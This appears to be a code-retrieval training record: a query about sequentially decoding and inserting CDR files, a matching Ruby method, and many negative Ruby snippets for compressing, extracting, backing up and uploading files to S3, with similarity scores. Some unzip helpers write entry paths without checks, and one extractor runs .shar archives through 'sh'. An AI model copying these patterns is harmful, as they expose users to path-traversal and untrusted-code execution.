Pipeline.new\n base_dir = File.dirname(@dump_path)\n dump_dir = File.basename(@dump_path)\n timestamp = Time.now.to_i.to_s[-5, 5]\n outfile = @dump_path + '-' + timestamp + '.tar'\n\n Logger.info(\n \"#{ database_name } started compressing and packaging:\\n\" +\n \" '#{ @dump_path }'\"\n )\n\n pipeline << \"#{ utility(:tar) } -cf - -C '#{ base_dir }' '#{ dump_dir }'\"\n @model.compressor.compress_with do |command, ext|\n pipeline << command\n outfile << ext\n end\n pipeline << \"cat > #{ outfile }\"\n\n pipeline.run\n if pipeline.success?\n Logger.info(\n \"#{ database_name } completed compressing and packaging:\\n\" +\n \" '#{ outfile }'\"\n )\n FileUtils.rm_rf(@dump_path)\n else\n raise Errors::Database::PipelineError,\n \"#{ database_name } Failed to create compressed dump package:\\n\" +\n \"'#{ outfile }'\\n\" +\n pipeline.error_messages\n end\n end", "def compress(folder, file, options={})\n format = COMPRESS_FORMAT[File.extname(file)]\n if format\n __send__(format, folder, file, options)\n else\n raise ArgumentError, \"unknown compression format -- #{format}\"\n end\n end", "def move_origional_file\n if File.exist? @origional_file\n $logger.info \" moving previous (orig->processed)\\n #{@origional_file} ->\\n #{processed_file}\"\n FileUtils.mkdir_p(File.dirname(processed_file))\n FileUtils.mv @origional_file, processed_file\n end\n end", "def write_to(filename, options = {})\n # Gzip contents if filename has '.gz'\n options[:compress] ||= File.extname(filename) == '.gz'\n\n FileUtils.mkdir_p File.dirname(filename)\n\n File.open(\"#{filename}+\", 'wb') do |f|\n if options[:compress]\n # Run contents through `Zlib`\n gz = Zlib::GzipWriter.new(f, Zlib::BEST_COMPRESSION)\n gz.write to_s\n gz.close\n else\n # Write out as is\n f.write to_s\n f.close\n end\n end\n\n # Atomic write\n FileUtils.mv(\"#{filename}+\", filename)\n\n # Set mtime correctly\n File.utime(mtime, mtime, filename)\n\n nil\n ensure\n # Ensure tmp file gets cleaned up\n FileUtils.rm(\"#{filename}+\") if File.exist?(\"#{filename}+\")\n end", "def store_backup!(stored_file)\n options = _equalize_phase_and_action(action: :backup, move: false)\n backup_store.upload(stored_file, context.merge(options))\n end", "def transcode!(file)\n optimize = transloadit_client.step('image', '/image/optimize', {\n progressive: true,\n use: ':original',\n result: true\n })\n store = transloadit_client.step('store', '/s3/store', {\n key: ENV.fetch('S3_ACCESS_KEY'),\n secret: ENV.fetch('S3_SECRET_KEY'),\n bucket: ENV.fetch('S3_BUCKET'),\n bucket_region: ENV.fetch('S3_REGION'),\n use: 'image'\n })\n assembly = transloadit_client.assembly(steps: [optimize, store])\n assembly.submit! open(file)\n end", "def upload_zip_to_s3(file_path, filename, connection)\n\tif !filename.include? \".zip\"\n\t\tfilename += \".zip\"\n\tend\n\ts3_key = \"zipped_packages/\" + filename\n\treturn connection.upload(file_path + filename, s3_key, :public_read, content_type=nil, metadata=nil)\nend", "def mv(srcpath,dstpath)\n FileUtils.mv(srcpath,dstpath)\n end", "def upload\n\t AWS.config(access_key_id: @access_key, secret_access_key: @access_secret)\n\t s3 = AWS::S3.new \n\t key = File.basename(@zipfile_name)\n\t s3.buckets[@bucket_name].objects[key].write(:file => @zipfile_name)\n\t puts \"Uploading file #{@zipfile_name} to bucket #{@bucket_name}.\"\n\t FileUtils.rm_rf @zipfile_name\n\t end", "def backupImage\n Find.find(\"./image/\") do |image|\n next unless FileTest.file?(image) && (image =~ /\\.jpg\\Z/ || image =~ /\\.jpeg\\Z/ ||\n image =~ /\\.png\\Z/ || image =~ /\\.gif\\Z/)\n FileUtils.mv(image, \"./bkimage\")\n end\n end", "def write\n FileUtils.rm @out_file if File.exists? @out_file\n in_progress \"Writing archive #{@out_file} from #{@input_dir}\" do\n Zip::File.open @out_file, Zip::File::CREATE do |zipfile|\n Dir[\"#{@input_dir}/**/**\"].reject{ |f| f == @out_file || !@filter.call(f) }.each do |file|\n progress \"deflating #{file}\"\n zipfile.add(file.sub(@input_dir + '/', ''), file)\n end\n end\n end\n end", "def backup_data(src_file)\n backup_path = src_file + '.simplib_migration.bak.' + Time.now.strftime('%Y_%m_%d_%s')\n puts %Q(Making backup at #{backup_path})\n FileUtils.cp_r(src_file, backup_path)\nend", "def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend", "def package!\n Logger.message \"#{ self.class } started packaging the backup files.\"\n run(\"#{ utility(:tar) } -c -f '#{ File.join(Backup::TMP_PATH, \"#{ Backup::TIME }.#{ Backup::TRIGGER }.tar\") }' -C '#{ Backup::TMP_PATH }' '#{ Backup::TRIGGER }'\")\n end", "def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend", "def pre_conversion(file)\n # puts \"===== PRE ====\"\n tmp_file = tmp_filepath(file)\n FileUtils.cp(file, tmp_file)\n # puts \"Copied #{file} to #{tmp_file}\"\n end", "def move!(entry, dest_path)\n src_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n dest_path = Wide::PathUtils.relative_to_base(base_path, dest_path)\n\n cmd = cmd_prefix.push('mv', src_path, dest_path)\n shellout(Escape.shell_command(cmd))\n\n begin\n if($? && $?.exitstatus != 0)\n entry.move!(dest_path);\n end\n rescue\n raise CommandFailed.new(\"Failed to move file #{src_path} to #{dest_path} in the Mercurial repository in #{base_path}\")\n end\n end", "def unzip_file (file, destination)\n Zip::ZipFile.open(file) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(destination, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n }\nend", "def decompress_file(file, to)\n end", "def send_to_s3(name, tmp_file)\n archive = \"/tmp/#{archive_name(name)}.tar.gz\"\n\n msg \"archiving #{name}\"\n cmd = \"tar -cpzf #{archive} #{tmp_file}\"\n puts cmd\n system cmd\n\n msg \"sending archived #{name} to S3\"\n AWS::S3::S3Object.store(File.basename(archive), open(archive), bucket_name(name), :access => :private)\n msg \"finished sending #{name} S3\"\n\n msg \"cleaning up\"\n cmd = \"rm -rf #{archive} #{tmp_file}\"\n puts cmd\n system cmd \n end", "def extract src_path, dst_path = File.dirname(src_path)\n src_path = File.expand_path(src_path)\n src_name = File.basename(src_path)\n src_suffix = File.extname(src_name)\n src_prefix = File.basename(src_name, src_suffix)\n\n Dir.mktmpdir(nil, dst_path) do |tmp_dir|\n # decompress the archive\n cd tmp_dir do\n case src_name.sub(/\\.part$/, '')\n when /\\.(tar\\.gz|tar\\.Z|tgz|taz)$/i\n system 'tar', '-zxf', src_path\n\n when /\\.(tar\\.bz|tar\\.bz2|tbz|tbz2)$/i\n system 'tar', '-jxf', src_path\n\n when /\\.(tar\\.xz|txz)$/i\n system 'tar', '-Jxf', src_path\n\n when /\\.(tar|cpio|gem)$/i\n system 'tar', '-xf', src_path\n\n when /\\.(tar.lzo|tzo)$/i\n system \"lzop -xc #{src_path.inspect} | tar -xf -\"\n\n when /\\.(lzo)$/i\n system 'lzop', '-x', src_path\n\n when /\\.(gz)$/i\n system \"gunzip -c #{src_path.inspect} > #{src_prefix.inspect}\"\n\n when /\\.(bz|bz2)$/i\n system \"bunzip2 -c #{src_path.inspect} > #{src_prefix.inspect}\"\n\n when /\\.(shar)$/i\n system 'sh', src_path\n\n when /\\.(7z)$/i\n system '7zr', 'x', src_path\n\n when /\\.(zip)$/i\n system 'unzip', src_path\n\n when /\\.(jar)$/i\n system 'jar', 'xf', src_path\n\n when /\\.(rz)$/i\n ln src_path, src_name # rzip removes the archive after extraction\n system 'rzip', '-d', src_name\n\n when /\\.(rar)$/i\n system 'unrar', 'x', src_path\n\n when /\\.(ace)$/i\n system 'unace', 'x', src_path\n\n when /\\.(arj)$/i\n system 'arj', 'x', src_path\n\n when /\\.(arc)$/i\n system 'arc', 'x', src_path\n\n when /\\.(lhz|lha)$/i\n system 'lha', 'x', src_path\n\n when /\\.(a|ar)$/i\n system 'ar', '-x', src_path\n\n when /\\.(Z)$/\n system \"uncompress -c #{src_path.inspect} > #{src_prefix.inspect}\"\n\n when /\\.(z)$/\n system \"pcat #{src_path.inspect} > #{src_prefix.inspect}\"\n\n when /\\.(zoo)$/i\n system 'zoo', 'x//', src_path\n\n when /\\.(cab)$/i\n system 'cabextract', src_path\n\n when /\\.(deb)$/i\n system 'ar', 'x', src_path\n\n when /\\.(rpm)$/i\n system \"rpm2cpio #{src_path.inspect} | cpio -i --make-directories\"\n\n else\n warn \"I do not know how to extract #{src_path.inspect}\"\n end\n end\n\n # clean any mess made by decompression\n manifest = Dir.new(tmp_dir).entries - %w[ . .. ]\n\n if manifest.length == 1 # there was no mess!\n adj_dst = File.join(dst_path, manifest.first)\n adj_src = File.join(tmp_dir, manifest.first)\n else\n adj_src = tmp_dir\n adj_dst = File.join(dst_path, src_name[/.*(?=\\..*?)/])\n end\n\n adj_dst << \"+#{Time.now.to_i}\" until\n not File.exist? adj_dst and\n mv(adj_src, adj_dst, :force => true)\n\n touch tmp_dir # give Dir.mktmpdir() something to remove\n\n adj_dst\n end\nend", "def unzip_file (file, destination)\n Zip::File.open(file) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(destination, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n puts \"Successfully extracted\"\n }\n end", "def save\n ApplicationDatabase.new.save_compressed_to_file(@file.path)\n end", "def upload_file(name, zip_content)\n @@bucket.objects[name].write(zip_content)\n end", "def backup\n return false if !@file || !backup_file\n FileUtils.cp @file, backup_file if File.file? @file\n true\n end", "def write_backup(filename = nil)\n Doing.logger.benchmark(:_write_backup, :start)\n filename ||= Doing.setting('doing_file')\n\n unless File.exist?(filename)\n Doing.logger.debug('Backup:', \"original file doesn't exist (#{filename})\")\n return\n end\n\n backup_file = File.join(backup_dir, \"#{timestamp_filename}___#{File.basename(filename)}\")\n # compressed = Zlib::Deflate.deflate(content)\n # Zlib::GzipWriter.open(backup_file + '.gz') do |gz|\n # gz.write(IO.read(filename))\n # end\n\n FileUtils.cp(filename, backup_file)\n\n prune_backups(filename, Doing.setting('history_size').to_i)\n clear_undone(filename)\n Doing.logger.benchmark(:_write_backup, :finish)\n end", "def send_to_s3(name, tmp_file)\n archive = \"#{ENV['TMPDIR']}/#{archive_name(name)}.tar.gz\"\n\n msg \"archiving #{name}\"\n cmd = \"tar -cpzf #{archive} #{tmp_file}\"\n puts cmd\n system cmd\n\n msg \"sending archived #{name} to S3\"\n # put file with default 'private' ACL\n AWS::S3::S3Object.store(\n archive.split('/').last,\n open(archive, \"rb\"),\n bucket_name(name),\n :content_type => 'application/x-gzip',\n :access => :private\n )\n msg \"finished sending #{name} S3\"\n\n msg \"cleaning up\"\n cmd = \"rm -rf #{archive} #{tmp_file}\"\n puts cmd\n system cmd \n end", "def handleFileOutput(code)\n open('output.txt', 'w') do |f|\n f << code\n end\n puts \"Compressed file successfully saved as output.txt\\n\\n\"\nend", "def unzip_file (file, destination)\n Zip::ZipFile.open(file) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(destination, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n puts \"Successfully extracted\"\n }\n end", "def unzip_file (file, destination)\n Zip::ZipFile.open(file) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(destination, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n puts \"Successfully extracted\"\n }\n end", "def gzfix(file, dest)\n gzip_header = \"\\x1f\\x8b\".force_encoding(Encoding::ASCII_8BIT)\n limit = 1024\n\n # Read a few lines, looking for gzip header\n file.rewind\n 10.times do |i|\n line = file.readline(limit).force_encoding(Encoding::ASCII_8BIT)\n if line[0,2] == gzip_header # Found gzip!\n if i == 0\n File.rename(file, dest) # Whole file is ok\n else # Use the file from this line on\n IO.copy_stream(file, dest, -1, file.pos - line.size)\n end\n return\n end\n break unless line.ascii_only? # Doesn't look like header lines\n end\n raise \"sqldump didn't seem to give us gzip data\"\n end", "def decompress_file(file, to)\n Supernova.logger.info { \"Decompressing file #{file} to directory #{to}...\" }\n FileUtils.mkpath(to)\n\n data = line(\"file\", \"--mime-type {file}\").pass(file: file)\n mime = data.stdout.split(': ')[1]\n\n case mime\n when \"application/x-gzip\"\n untar_file(file, to)\n when \"application/zip\"\n unzip_file(file, to)\n when \"application/x-7z-compressed\"\n unszip_file(file, to)\n else\n Supernova.logger.error { \"Unknown file type: #{mime}\" }\n end\n end", "def execute()\r\n FileUtils.mv(@OldFilePath, @NewFilePath)\r\n end", "def backup(from, to)\n return unless File.exists? from\n FileUtils.mkdir_p(File.dirname(to))\n File.rename(from, to)\nend", "def mv(src, dst)\n FileUtils.mv(src, dst, :verbose => verbose?)\n end", "def targz\n files = procedure.get_adapter_configuration.attributes['files']\n if files.is_a?(Array)\n puts system_messages[:archiving]; puts system_messages[:compressing]\n %x{ tar -czf #{File.join(tmp_path, compressed_file)} #{files.map{|f| f.gsub(' ', '\\ ')}.join(' ')} }\n elsif files.is_a?(String)\n puts system_messages[:archiving]; puts system_messages[:compressing]\n %x{ tar -czf #{File.join(tmp_path, compressed_file)} #{files.gsub(' ', '\\ ')} }\n end\n end", "def create_zip( ctx, file:, upload_dir:, archive_dir:, ** ) #File::Twin\n source_files = file.records\n\n zip_file = File.join( archive_dir, \"#{file.identifier}.zip\" )\n\n return false if File.exists?(zip_file)\n\n Zip::File.open(zip_file, Zip::File::CREATE) do |zip|\n source_files.each do |record|\n raise \"error with #{record.inspect}\" unless record.file_path # TODO: remove me\n\n name_in_zip = \"#{record.index}-#{File.basename(record.file_path)}\"\n\n zip.add( name_in_zip, File.join(upload_dir, record.file_path) ) # FIXME: this could break\n end\n end\n\n\n\n ctx[:zip] = zip_file\n end", "def unzip_file (file_name, destination_path)\n Zip::File.open(file_name) do |zip_file|\n zip_file.each do |f|\n f_path = File.join(destination_path, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n end\n end\n end", "def unzip_file(file)\n end", "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end", "def compress(directory, file)\n case compression\n when :gzip, :gz then [\"tar\", \"czf\", file, directory]\n when :bzip2, :bz2 then [\"tar\", \"cjf\", file, directory]\n when :zip then [\"zip\", \"-qr\", file, directory]\n else raise ArgumentError, \"invalid compression type #{compression.inspect}\"\n end\n end", "def unzip_file(destination)\n ensure_file_open!\n @file.each do |entry|\n entry_path = File.join(destination, entry.name)\n FileUtils.mkdir_p(File.dirname(entry_path))\n @file.extract(entry, entry_path) unless File.exist?(entry_path)\n end\n end", "def transfer!\n remote_path = remote_path_for(@package)\n\n connection.sync_clock\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to bucket '#{ bucket }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n bucket, File.join(remote_path, remote_file), file\n )\n end\n end\n end", "def backup!(file=nil)\n file = file || FILENAME\n dir = root + BACKUP_DIRECTORY\n FileUtils.mkdir(dir.dirname) unless dir.dirname.directory?\n FileUtils.mkdir(dir) unless dir.directory?\n save!(dir + FILENAME)\n end", "def write_tgz\n # Grab the contents of the gzipped tarball for reading\n contents = gzipped_tarball\n\n # Write the .tar.gz into the staging directory\n File.open(\"#{staging_dir}/#{package_name}\", \"wb\") do |tgz|\n while chunk = contents.read(1024)\n tgz.write(chunk)\n end\n end\n\n # Copy the .tar.gz into the package directory\n FileSyncer.glob(\"#{staging_dir}/*.tar.gz\").each do |tgz|\n copy_file(tgz, Config.package_dir)\n end\n end" ]
[ "0.7029616", "0.6815202", "0.6721034", "0.6671892", "0.6613445", "0.657687", "0.6575387", "0.6447642", "0.642551", "0.6422216", "0.63949215", "0.63850206", "0.6361033", "0.6337166", "0.6275988", "0.625735", "0.6233229", "0.6220686", "0.61998767", "0.61751866", "0.6136582", "0.6133019", "0.6104264", "0.60852545", "0.60408264", "0.602965", "0.60252243", "0.6023655", "0.599238", "0.5989546", "0.59792095", "0.59784055", "0.59766024", "0.5964242", "0.5960404", "0.595519", "0.5937646", "0.59291667", "0.5926761", "0.5906368", "0.5886015", "0.5874169", "0.587318", "0.5849186", "0.58430386", "0.5819281", "0.58150035", "0.5802133", "0.57707745", "0.5749255", "0.574917", "0.574147", "0.571438", "0.57051647", "0.57040584", "0.56979984", "0.5684628", "0.56693107", "0.5663376", "0.5661431", "0.5656297", "0.565486", "0.5648911", "0.5642397", "0.5635629", "0.5626433", "0.562152", "0.56204325", "0.5620361", "0.56154853", "0.56077474", "0.559988", "0.5593762", "0.55656433", "0.5559073", "0.5556529", "0.55499387", "0.55485386", "0.55438906", "0.5541871", "0.5537098", "0.55336946", "0.5530635", "0.55133766", "0.55133766", "0.5511116", "0.55029464", "0.5493048", "0.5491174", "0.5480254", "0.5473058", "0.5466631", "0.5461717", "0.54612005", "0.54480225", "0.54473233", "0.5437691", "0.54360676", "0.54320353", "0.54315245" ]
0.71339303
0
insertion method for a specific source
def insert_ # new files to insert nfiles = @curr_schema.select_new_files count = nfiles.size Logger.<<(__FILE__,"INFO","Found #{nfiles.size} files to decode & insert for #{@curr_source.name}..."); return unless nfiles.size > 0 SignalHandler.check ## Will decode them and insert their records, one by one (file) base_path = ::File.join(Conf::directories.store,@curr_source.name.to_s) ids_processed = [] file_counter = 0 iterate_over nfiles do |file| file_path = File.join(base_path,file[:folder],file[:file_name]) begin file_ = CDR::File.new(file_path,search: true) rescue => e Logger.<<(__FILE__,"WARNING","File Error : #{e}") raise e end records = @curr_source.decoder.decode file_ if records.nil? Logger.<<(__FILE__,"WARNING","Found null output for file #{file}") else @curr_schema.insert_records file[:file_id], records end @curr_schema.processed_files RubyUtil::arrayize(file[:file_id]) backup_file file[:folder],file_ str = log_file_summary file_,records Logger.<<(__FILE__,"INFO","(#{file_counter}/#{count}) #{str}",inline: true) file_counter += 1 end # so only one lookup for table cdr #mark_processed_decoded_files (ids_processed) Logger.<<(__FILE__,"INFO","Decoded & Inserted #{count} files ...") Logger.<<(__FILE__,"INFO","Insert operation finished !") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_source(*source)\n unless source.blank?\n what.query.add(:sources) << source.flatten \n changed\n end\n end", "def attach(source); end", "def add_source(source)\n all << source unless all.any? { |s| s.url == source || s.name == source.name }\n end", "def _insert(*)\n fail NotImplementedError\n end", "def add_source_to_trees(source)\n if source.package\n source_tree.insert(\"/\" + source.package.name + \"/\" + File.basename(source.filename), source)\n else\n source_tree.insert(\"/\" + File.basename(source.filename), source)\n end\n source.provides.each do |tag|\n provides_tree.insert(\"/\" + tag.to_s, tag)\n end\n end", "def add(_source, _dest, **_options)\n raise NotImplementedError\n end", "def insert()\n\n end", "def insert(index,object)\n\nend", "def inherited(source)\n self.sources << source\n end", "def insert(item)\n\n\n\n\n end", "def insert(short, url)\n raise NotImplementedError\n end", "def adapt_source(source); end", "def handle_insert action, result; end", "def insert(p0, p1) end", "def insert(value)\n # YOUR WORK HERE\n end", "def insert(v)\n \n end", "def add_trait_to_source source_card, trait, values\n trait_card = source_card.fetch trait, new: {}\n Array.wrap(values).each { |val| trait_card.add_item val }\n add_subcard trait_card if trait_card.db_content_changed?\nend", "def add_source(source)\n if has_source?(source)\n raise DuplicateSourceDefined, \"Berksfile contains two sources named '#{source.name}'. Remove one and try again.\"\n end\n @sources[source.to_s] = source\n end", "def insert(value)\n #YOUR WORK HERE\n end", "def source() end", "def source=(statement); end", "def add_source(url, note: nil)\n data = {url: url}\n if note\n data[:note] = note\n end\n if url.present?\n @sources << data\n end\n end", "def <<(source_or_sources_or_package)\n case\n when source_or_sources_or_package.kind_of?(SourceFile)\n source = source_or_sources_or_package\n add_source_to_trees(source)\n sources << source\n if source.extends\n extensions_map[source.extends] ||= []\n extensions_map[source.extends] << source\n else\n source.provides.each do |p|\n if provides_map[p] && provides_map[p] != source && provides_map[p].filename != source.filename\n Jsus.logger.warn \"Redeclared #{p.to_s} in #{source.filename} (previously declared in #{provides_map[p].filename})\"\n end\n provides_map[p] = source\n end\n\n replacement_map[source.replaces] = source if source.replaces\n end\n when source_or_sources_or_package.kind_of?(Package)\n package = source_or_sources_or_package\n packages << package\n package.source_files.each {|s| self << s }\n package.extensions.each {|e| self << e }\n when source_or_sources_or_package.kind_of?(Array) || source_or_sources_or_package.kind_of?(Container)\n sources = source_or_sources_or_package\n sources.each {|s| self << s}\n end\n self\n end", "def insert_statement(statement)\n self.inserts << statement\n end", "def insert_statement(statement)\n self.inserts << statement\n end", "def add_source(object)\n\t\t\tif validate_source_destination(object)\n\t\t\t\t@source = object\n\t\t\t\tobject.add_output(self)\n\t\t\telse\n\t\t\t\traise \"Invalid arc source object: #{object.class}\"\n\t\t\tend\n\t\tend", "def insert(key)\n end", "def push(source)\n if source\n if source.kind_of?(Array)\n source.each {|s| self.push(s) }\n elsif source.kind_of?(Container)\n source.all_sources.each {|s| self.push(s) }\n else\n if source.extension?\n @extensions << source unless @extensions.include?(source)\n elsif source.replacement?\n @replacements << source unless @replacements.include?(source)\n else\n @normal_sources << source unless @normal_sources.include?(source)\n end\n end\n end\n clear_cache!\n self\n end", "def create\n @source = Source.new\n create_or_update\n end", "def include(source, base=nil)\n\t\t\tsource = File.join(base, source.to_s) unless base.nil?\n\t\t\t@sources << Source.new(source.to_s, type: @type)\n\t\tend", "def insert(**opts)\n add(**opts)\n save!\n end", "def insert_into_sql(sql)\n sql << \" INTO \"\n if (f = @opts[:from]) && f.length == 1\n identifier_append(sql, server_version >= 90500 ? f.first : unaliased_identifier(f.first))\n else\n source_list_append(sql, f)\n end\n end", "def add_source(*source_paths)\n source_paths.each do |source|\n new_path = Pathname.new(source)\n # Check if the source path is a directory\n next unless new_path.file?\n # Add the new source to the list of source file paths\n @sources.push(new_path)\n end\n end", "def processed_source=(_); end", "def processed_source=(_); end", "def merge(source); end", "def insert(obj)\n obj.og_insert(self)\n end", "def handle_insert\n return unless previous_edited?\n snippet = @snippet_loader.current_snippets.find { |snip| snip.pressed? }\n if snippet\n snippet.insert_snippet \n @history.clear\n end\n end", "def use_insert!\n @use_copy = false\n end", "def register_source name, object_type, klass, fail_on_override: true\n @@sources ||= {}\n key = [name, object_type]\n # Unless supressed, raise an error if a Source is already registered\n # under the given name-object_type pair.\n if @@sources[key] and fail_on_override\n raise \"Source #{key} already exists. Use a different name or supress with `fail_on_override: false`.\"\n else\n @@sources[key] = klass\n end\n end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def insert(buf); @a.copy(buf); end", "def insert(*args)\n get_repository_object.insert(*args)\n end", "def insert_object g\n @objects.add g\n end", "def add(entry, src_path, &continue_on_exists_proc); end", "def push_file(source, original_filename, id = nil)\n data = self.read_from(source)\n self.grid.put(data, filename: original_filename, _id: id)\n end", "def drop_add(id,x, y, source)\n pare = source == current_vc.ui ? current_vc.pane : source.child\n dnd_obj = @dnd_ids[id]\n obj = dnd_obj.new # create the object that we are dragging on\n if @dnd_opts[dnd_obj]\n # TODO: check for other options\n obj.name = @dnd_opts[dnd_obj][:assign_name] if obj.respond_to? :name=\n end\n dcrl = add_designable_control(obj, MousePoint.new(x, y), pare, @dnd_ids[id])\n if @dnd_opts[dnd_obj] && SD::DesignerSupport::Preferences.add_labels\n dcrl.decor_manager.add(Java::dashfx.lib.decorators.LabelDecorator.java_class).label = \"#{File.basename(@dnd_opts[dnd_obj][:assign_name])}: \"\n end\n hide_toolbox\n @clickoff_fnc.call if @clickoff_fnc\n @on_mouse.call(nil) if @on_mouse\n end", "def addSequenceSource(sequence)\n @dataSources << sequence\n self\n end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def insert(*args)\n dataset.insert(*args)\n self\n end", "def new_line\n @source_lines << []\n end", "def insert(x)\n @info.push(x)\n self\n end", "def insert(x)\n @info.push(x)\n self\n end", "def insert(x)\n @info.push(x)\n self\n end", "def register_source source, importer, formatter\n # Verify source arguments\n verify_source_arguments source, importer, formatter\n\n # Set the importer and expoer\n @importers[source] = importer\n @formatters[source] = formatter\n end", "def insert(index, *args, **_arg2, &block); end", "def insert_link (fileArray, linkName, utilHash)\n\nend", "def insert(value, index)\n end", "def ir_add_source_structure!(ir)\n ir.keys.each do |k|\n if ir[k][:full_source_relation_name]\n ir[k][:source_structure] = ir[\n ir[k][:full_source_relation_name]\n ]\n end\n end\n end", "def _insert(step, options, original_proc, operator)\n options = { append: true }.merge(options)\n\n insert!(step, options).tap do\n @step2proc ||= StepMap.new\n @step2proc[step] = options[:name], original_proc, operator\n end\n end", "def insert(name, tuples)\n raise NotSupportedError, \"Unable to insert in `#{self}`\"\n end", "def source=(source)\n self.each{|e| e.source=source}\n end", "def push(source)\n prefix, encoding = source.prefix_and_encoding\n emit prefix if prefix\n emit 0x50 | encoding\n end", "def insert(node, &block); end", "def insert(node, &block); end", "def insert(statements)\n raise TriplestoreAdapter::TriplestoreException.new(\"#{@provider.class.name} missing insert method.\") unless @provider.respond_to?(:insert)\n @provider.insert(statements)\n end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def add_source (source)\n open('/etc/apt/sources.list', 'a') { |f|\n f.puts source\n }\n end", "def source\n raise NotImplementedError\n end", "def set_source\n params.collect do |name, value|\n @source = $1.classify.constantize.find(value) if name =~ /(.+)_id$/\n end\n end", "def source= string\n #This is a stub, used for indexing\n end" ]
[ "0.6829771", "0.6431539", "0.63562477", "0.63491416", "0.63374424", "0.62601006", "0.62237686", "0.6132438", "0.6100424", "0.60701925", "0.60624146", "0.60623705", "0.603175", "0.6024115", "0.60173994", "0.59972024", "0.5990629", "0.5982955", "0.5963527", "0.5916711", "0.5911889", "0.5910206", "0.59083235", "0.5893334", "0.5893334", "0.5840268", "0.5816994", "0.5807589", "0.5785187", "0.5769044", "0.57660604", "0.57374966", "0.5715051", "0.56942004", "0.56942004", "0.56724906", "0.56623256", "0.56612194", "0.562888", "0.5621804", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.55968195", "0.5596545", "0.5595593", "0.5590039", "0.55802536", "0.5575425", "0.55681455", "0.55642354", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5501747", "0.5482941", "0.5479394", "0.5464006", "0.5464006", "0.5464006", "0.544941", "0.54478", "0.543892", "0.5435754", "0.5434202", "0.5428969", "0.54262125", "0.54243326", "0.54227567", "0.541523", "0.541523", "0.54128486", "0.53988576", "0.53988576", "0.53988576", "0.53988576", "0.53988576", "0.5398302", "0.5367328", "0.5361737", "0.53549546" ]
0.0
-1
sequential approach rather than decode everything then insert everything it sends the switch and file to the block which will decode then insert
def iterate_over files files.each do |file| yield file SignalHandler.check { @db.close Logger.<<(__FILE__,"WARNING","Signal SIGINT received: stopping decoding files ...") } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert_\n # new files to insert\n nfiles = @curr_schema.select_new_files\n count = nfiles.size\n Logger.<<(__FILE__,\"INFO\",\"Found #{nfiles.size} files to decode & insert for #{@curr_source.name}...\");\n return unless nfiles.size > 0\n\n SignalHandler.check\n ## Will decode them and insert their records, one by one (file)\n base_path = ::File.join(Conf::directories.store,@curr_source.name.to_s)\n ids_processed = []\n file_counter = 0\n iterate_over nfiles do |file|\n file_path = File.join(base_path,file[:folder],file[:file_name])\n begin\n file_ = CDR::File.new(file_path,search: true)\n rescue => e\n Logger.<<(__FILE__,\"WARNING\",\"File Error : #{e}\")\n raise e\n end\n records = @curr_source.decoder.decode file_\n if records.nil? \n Logger.<<(__FILE__,\"WARNING\",\"Found null output for file #{file}\")\n else\n @curr_schema.insert_records file[:file_id], records\n end\n @curr_schema.processed_files RubyUtil::arrayize(file[:file_id])\n backup_file file[:folder],file_\n str = log_file_summary file_,records\n Logger.<<(__FILE__,\"INFO\",\"(#{file_counter}/#{count}) #{str}\",inline: true)\n file_counter += 1\n end\n # so only one lookup for table cdr\n #mark_processed_decoded_files (ids_processed)\n Logger.<<(__FILE__,\"INFO\",\"Decoded & Inserted #{count} files ...\")\n Logger.<<(__FILE__,\"INFO\",\"Insert operation finished !\")\n end", "def decode\n\t\t\n\t\t# go through all of the encoded blocks and fund new singles\n\t\t@encoded.each do |enc|\n\t\t\t@encoded.delete(enc)\n\t \t\tenc = decode_new_multi(enc)\n\t\t\tnd = 